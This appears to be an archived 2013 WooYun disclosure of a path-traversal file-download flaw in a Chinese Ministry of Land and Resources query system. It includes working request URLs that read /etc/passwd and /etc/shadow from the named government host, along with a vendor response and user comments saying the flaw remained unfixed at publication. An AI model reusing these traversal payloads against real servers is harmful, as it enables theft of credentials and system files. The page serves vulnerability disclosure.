当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-019475

漏洞标题：中华人民共和国国土资源部某重要系统任意文件下载

相关厂商：中华人民共和国国土资源部

漏洞作者： se55i0n

提交时间：2013-03-04 10:02

修复时间：2013-04-18 10:03

公开时间：2013-04-18 10:03

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-03-04： 细节已通知厂商并且等待厂商处理中
2013-03-04： 厂商已经确认，细节仅向厂商公开
2013-03-14： 细节向核心白帽子及相关领域专家公开
2013-03-24： 细节向普通白帽子公开
2013-04-03： 细节向实习白帽子公开
2013-04-18： 细节向公众公开

简要描述：

再说就测漏了！

详细说明：

1）测试对象：中华人民共和国国土资源部下银行国土信息查询系统；

http://landinfo.mlr.gov.cn/login.do?state=login


1.png


2）测试链接；

http://landinfo.mlr.gov.cn/login.do?state=publicFilesDownload&filename=../../../../../../../../../etc/passwd


2.png


http://landinfo.mlr.gov.cn/login.do?state=publicFilesDownload&filename=../../../../../../../../../etc/shadow


3.png


3）系统对外开放ftp、mysql服务，读取配置文件后或可造成较大影响（怕查水表，不敢进一步测试）；

漏洞证明：

见详细说明

修复方案：

版权声明：转载请注明来源 se55i0n@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2013-03-04 23:45

厂商回复：

CNVD确认并复现所述情况（同时对应用情况进行了尝试，可获得进一步的权限），已在4日下午作为重要事件向国家上级信息安全协调机构上报，由其下一步协调涉事部门处置。
按部分影响机密性、可用性和完整性进行评分，rank=7.48*1.1*1.5=12.342

最新状态：

暂无

漏洞评价：

评论

  1. 2013-04-04 00:17 | Blackeagle ( 实习白帽子 | Rank:62 漏洞数:10 | 向WooYun致敬)

    洞主测试链接是怎么想的

  2. 2013-04-18 10:06 | 雅柏菲卡 ( 普通白帽子 | Rank:1213 漏洞数:234 | 雙魚座聖鬥士雅柏菲卡)

    @Blackeagle 我也不知道他是怎么想的

  3. 2013-04-18 10:08 | Shady ( 路人 | Rank:24 漏洞数:8 | Test)

    亲 仔细看图，上面有文件下载链接哦~~~~

  4. 2013-04-18 10:31 | iiiiiiiii ( 普通白帽子 | Rank:680 漏洞数:89 | )

    。。居然还没修复

  5. 2013-04-18 10:41 | Shady ( 路人 | Rank:24 漏洞数:8 | Test)

    没修复就公开了~~~

  6. 2013-04-18 10:44 | dtc ( 路人 | Rank:10 漏洞数:1 | 业余技术爱好者，来乌云学习。)

    可怕。。现在还能下载。。。

  7. 2013-04-18 14:37 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁？)

    @cncert国家互联网应急中心 都公开了还没修复呢~

  8. 2013-05-07 14:10 | rootsec ( 路人 | Rank:14 漏洞数:3 | 此人已经懒得不行了。。。)

    gov部门在这方面是反应最迟钝的 强烈鄙视